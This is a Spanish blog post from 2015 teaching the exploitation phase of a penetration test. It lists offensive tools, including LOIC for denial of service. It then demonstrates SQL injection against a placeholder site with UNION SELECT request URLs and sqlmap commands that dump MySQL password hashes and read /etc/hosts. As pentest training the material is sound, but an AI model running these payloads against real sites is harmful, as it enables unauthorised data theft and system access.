viernes, 30 de octubre de 2015

Pentesting (III): Explotación

Tras identificar y priorizar las vulnerabilidades encontradas, es el momento de pasar a la fase de explotación.

Durante esta fase trataremos de explotar las vulnerabilidades detectadas, confirmando si son reales y la información que puede obtenerse a través de ellas.




Esta fase se desarrollará a partir del mapa de vulnerabilidades obtenido en la fase de evaluación, donde a raíz del mismo, fijaremos nuestras prioridades de explotación.

A continuación trataremos de explotar una de las vulnerabilidades detectadas durante nuestra fase de evaluación y comprobaremos el compromiso del sistema.



Enfoque de la explotación



Seguramente, la primera y segunda fase del proceso de pentesting, nos dará la respuesta, pero en general:

  • Podemos centrarnos en vulnerabilidades aparentemente fáciles de explotar que nos den acceso al sistema/red del objetivo para a partir de ahí, tratar de llevar a cabo una escalada de privilegios que nos permita sacar mayor partido.
  • O bien, podemos centrarnos en elementos críticos del objetivo, donde sabemos que la explotación de una vulnerabilidad sobre ese entorno supone una alta recompensa.

Herramientas indispensables de explotación



Al igual que en la fase de evaluación, es habitual el uso de frameworks especializados, kali  y metasploit, son en mi opinión de los mejores.

En cualquier caso, en función del tipo de vulnerabilidad a explotar, podremos utilizar adicionalmente otras herramientas, por citar algunas de las importantes:

  • Desarrollo propio de exploits o modicar existentes, necesitaréis herramientas como ollydbgUna forma de desarrollar exploits consiste en estudiar el código vulnerable y el parche que lo corrige, para a través de sus diferencias obtener un exploit.
  • BeeF: Framework para la explotación de ataques XSS.
  • SQLMap: Para explotar SQLinjections.
  • Medusa, Hydra, ophcrack, john: Para ataques fuerza bruta, es importante tener buenos diccionarios, también en ocasiones puede ser necesario contar con diccionarios de hashes. Podéis echar un vistazo al proyecto http://project-rainbowcrack.com/.
  • LOIC: Denegación de servicio.



Explotación SQLinjection


Centrandos en el pentesting de nuestro objetivo, durante la fase de evaluación se identificó una posible vulnerabilidad de tipo SQLInjection en la siguiente aplicación web:

http://aplicacion1.dominio.com/index.php

Es el momento de explotarla.

Como os comenté en la fase de evaluación, es muy recomendable utilizar técnicas manuales de explotación, ya que obtendremos un mayor tanto por ciento de éxito.


Explotación

Para la explotación no es necesario utilizar ninguna herramienta, para esta vulnerabilidad concreta lo importante es tener claros los conceptos de SQL y saber como construir sentencias SQL embebidas a través de la vulnerabilidad detectada, de forma que nos devuelva la información que necesitamos.

En la siguiente entrada de la web de  elhacker.net, se explica muy bien este proceso.

Iremos al grano, nuestro objetivo es explotar la vulnerabilidad para conocer si es real y el compromiso del sistema.

Construimos la siguiente petición web:

http://aplicacion1.dominio.com/index.php?codigo=null%20union%20all%20select%201,@@version,3,4,5/*

El navegador devuelve la version de la Base de Datos empleada por la aplicación: MySQL 5.1

Averiguaremos el nombre de la Base de Datos, para ello construimos la siguiente petición web:

http://aplicacion1.dominio.com/index.php?codigo=null%20union%20all%20select%201,database%28%29,3,4,5/*

Me devuelve el nombre de la base de datos de la aplicación: Projects

Ahora construimos la siguiente:

http://aplicacion1.dominio.com/index.php?codigo=null%20union%20all%20select%201,user%28%29,3,4,5/*

Me devuelve el usuario: root@localhost.

Este dato es muy interesante, ya que nos aporta un abánico de posibilidades en nuestra explotación y futura escalada de privilegios.



Sentencia tras sentencia podemos ir obteniendo toda la información que necesitemos e interactuar con la base de datos.


También, podemos utilizar la herramienta sqlmap y obtener “casi” la misma información. "Casi", porque habrá acciones que puede ser que tengamos que realizar de forma manual, debido a que sqlmap no soporte ciertas acciones.


Usuario de acceso a la BD

./sqlmap.py -u http://aplicacion1.dominio.com/index.php?codigo=10 --current-user

[13:15:26] [INFO] fetching current user

[13:15:26] [INFO] retrieved:

current user: 'root@localhost'


Contraseñas de la Base de datos mysql

./sqlmap.py -u aplicacion1.dominio.com/index.php?codigo=10 -D mysql --tables -T user --columns -C Password --dump --no-cast

Database: mysql

Table: user

[4 entries]

+-------------------------------------------+

| Password |

+-------------------------------------------+

| *19B******************************************2D845EA29E |

| *23B**************************************************A9C16 |

| *4E6**************************************************2CC86 |

| *510************************************************D75DAC |


Las passwords se encuentra encriptadas, utilizaremos un crackeador de passwords y un buen diccionario de Hashes (rainbowtables).


Acceso lectura/escritura a archivos del S.O

Dado el usuario con el que se accede a la BD y sus privilegios podemos proceder a leer archivos a través de la función de mysql Load_File:

Comprobemos si podemos acceder a un archivo del sistema:

./sqlmap.py -u http://aplicacion1.dominio.com/index.php?codigo=10 --file-read=/etc/hosts –threads=10

Nos devuelve lo siguiente:

127.0.0.1 localhost

192.168.9.122 andromeda


Al igual que podemos leer, mysql dispone de funciones para escritura.

Resumiendo, la explotación ha sido exitosa, tenemos control total sobre la base de datos de la aplicación y podemos leer cualquier archivo del sistema, el siguiente paso es la escalada de privilegios, pero esto lo veremos en el siguiente artículo.


No hay comentarios:

Publicar un comentario